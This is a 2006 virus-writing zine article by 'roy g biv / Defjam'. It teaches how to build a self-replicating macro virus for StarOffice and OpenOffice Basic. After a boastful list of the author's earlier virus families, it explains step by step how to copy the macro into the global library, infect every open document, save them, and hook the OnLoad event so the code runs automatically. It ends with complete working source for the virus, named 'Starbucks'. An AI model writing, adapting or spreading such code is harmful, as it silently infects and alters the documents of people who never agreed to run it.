The StarOffice Basic
by roy g biv
                            The StarOffice Basic
                             roy g biv / Defjam

Former  DOS/Win16  virus writer, author of several virus  families,  including
Ginger  (see Coderz #1 zine for terrible buggy example, contact me for  better
sources  ;),  and Virus Bulletin 9/95 for a description of what   they  called
Rainbow.   Co-author  of  world's first virus using circular  partition  trick
(Orsam, coded with Prototype in 1993).  Designer of world's first XMS swapping
virus  (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped  out).   Author of world's first virus using Thread Local Storage  for
replication  (Shrug, see Virus Bulletin 6/02 for a description, but they  call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication  (OU812), world's first Native executable virus (Chthon),  world's
first  virus  using process co-operation to prevent termination  (Gemini,  see
Virus  Bulletin 9/02 for a description), world's first virus using polymorphic
SMTP  headers (JunkMail, see Virus Bulletin 11/02 for a description),  world's
first viruses that can convert any data files to infectable objects (Pretext),
world's  first  32/64-bit  parasitic  EPO .NET  virus  (Croissant,  see  Virus
Bulletin  11/04  for a description, but they call it Impanate), world's  first
virus  using  self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03  for  a
description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus
Bulletin 6/04 for a description, but they call it Rugrat), world's first virus
for  Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel
IA32  and  AMD  AMD64  (Shrug),  world's  first  viruses  that  infect  Office
applications  and  script  files  using the same  code  (Macaroni,  see  Virus
Bulletin  11/05  for  a description, but they call it Macar),  world's   first
viruses  that  can infect both VBS and JScript using the same code (ACDC,  see
Virus  Bulletin 11/05 for a description, but they call it Cada), world's first
IDA  plugin  virus (Hidan), and world's first viruses that use  the  Microsoft
Script  Encoder  to  dynamically encrypt the virus body (Screed).   Author  of
various  retrovirus  articles (eg see Vlad #7 for the strings that  make  your
code  invisible to TBScan).  Went to sleep for a number  of years.  This is my
first  virus for StarOffice and OpenOffice.  It is the world's first virus for
StarOffice and OpenOffice.


StarOffice Basic

StarOffice  has its own language called StarOffice Basic, which is similar  to
VBA  for Microsoft Office.  OpenOffice has its own language called  OpenOffice
Basic,  which is almost identical to StarOffice Basic.  The language is shared
among  all of the StarOffice or OpenOffice applications, so it is very easy to
make a cross-platform virus.

Of course, some things are different, so let's cover some of them here.

In VBA, we have the Application object that is our global container.
In StarOffice and OpenOffice, we have the GlobalScope object.
In VBA, we have the VBE.ActiveVBProject.VBComponents object.
In StarOffice and OpenOffice, we have the BasicLibraries.getByName("Standard")
object.
In VBA, we get our source from Item("Module1").CodeModule.
In StarOffice and OpenOffice, we get our source from getbyname("Module1").
In VBA, we can add a macro by the AddFromString method.
In StarOffice and OpenOffice, we can add a macro by the insertbyname method.

The  list  would be very big to cover everything, but the important  thing  to
know  is  that with one Basic for all applications, StarOffice and  OpenOffice
are so much simpler to use (and infect).


Step-By-Step

Now let's look at some source code and talk about how it works.
We get access to the global template module this way:

    a = GlobalScope.BasicLibraries.getByName("Standard")

We get access to our code module this way:

    b = "Starbucks"
    c = BasicLibraries.getByName("Standard").getByName(b)

We can check if our code is present in the global module this way:

    if not a.hasByName(b) then

We can add our code to the global module this way:

        a.insertByName b, c

Now we want to infect all open files.  We get the list this way:

    e = CreateUnoService("com.sun.star.frame.Desktop").getComponents

However,  in  order to examine the items in the list, we need  an  enumeration
object.  We create one this way:

    f = e.createEnumeration

We check if we are at the end of the list this way:

    while f.hasMoreElements

We enumerate the items this way:

        g = f.nextElement

For each object returned by the enumeration, we get access to the macro module
this way:

        h = g.BasicLibraries.getByName("Standard")

We check if it is infected already this way:

        if not h.hasByName(b) then

We add our code to the current document this way:

            h.insertByName b, c

We save the infected document this way:

            g.store

So  easy.   Now we need to get control somehow.  We can do that by hooking  an
event.  In VBA, we use such special macro names as AutoOpen() and AutoClose().
In StarOffice and OpenOffice, it's done by changing the event property.

The  events are sequences of properties, so we need to construct the  property
list first.  We do it this way:

    dim d(1) as new com.sun.star.beans.PropertyValue
    d(0).name="EventType"
    d(0).value="StarBasic"
    d(1).name="Script"

Then we decide if we are adding to the global template or the local document.
For the global template, it looks like this:

    d(1).value="macro:///Standard.Module.Method()"

For the local document, it looks like this:

    d(1).value="macro://./Standard.Module.Method()"

The Module and Method names can be changed to whatever we want to use.
To replace a global template event, we do it this way:

    createUnoService("com.sun.star.frame.GlobalEventBroadcaster").Events.replaceByName "OnLoad", d()

For the local document, we do it this way:

    g.Events.replaceByName "OnLoad", d()

Of course, the OnLoad event can be changed to other things, like OnSave, etc.
Now let's put it all together:

    Sub Starbucks 'roy g biv - 06/06/06
    a = GlobalScope.BasicLibraries.getByName("Standard")
    b = "Starbucks"
    c = BasicLibraries.getByName("Standard").getByName(b)
    dim d(1) as new com.sun.star.beans.PropertyValue
    d(0).name = "EventType"
    d(0).value = "StarBasic"
    d(1).name = "Script"
    e = "macro://"
    f = "/Standard." + b + "." + b + "()"
    d(1).value = e + f

    if not a.hasByName(b) then
        a.insertByName b, c
        createUnoService("com.sun.star.frame.GlobalEventBroadcaster").Events.replaceByName "OnLoad", d()
    end if

    d(1).value = e + "." + f
    e = createUnoService("com.sun.star.frame.Desktop").getComponents.createEnumeration
    on error goto skip

    while e.hasMoreElements
        f = e.nextElement
        g = f.BasicLibraries.getByName("Standard")

        if not g.hasByName(b) then
            g.insertByName b, c
            f.Events.replaceByName "OnLoad", d()
            f.store
        end if

    skip:
    wend
    End Sub

That's it.  In 30 lines, we infect all StarOffice and OpenOffice applications.


Greets to friendly people (A-Z):

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna -
VirusBuster - Whitehead


rgb/defjam jun 2006
iam_rgb@hotmail.com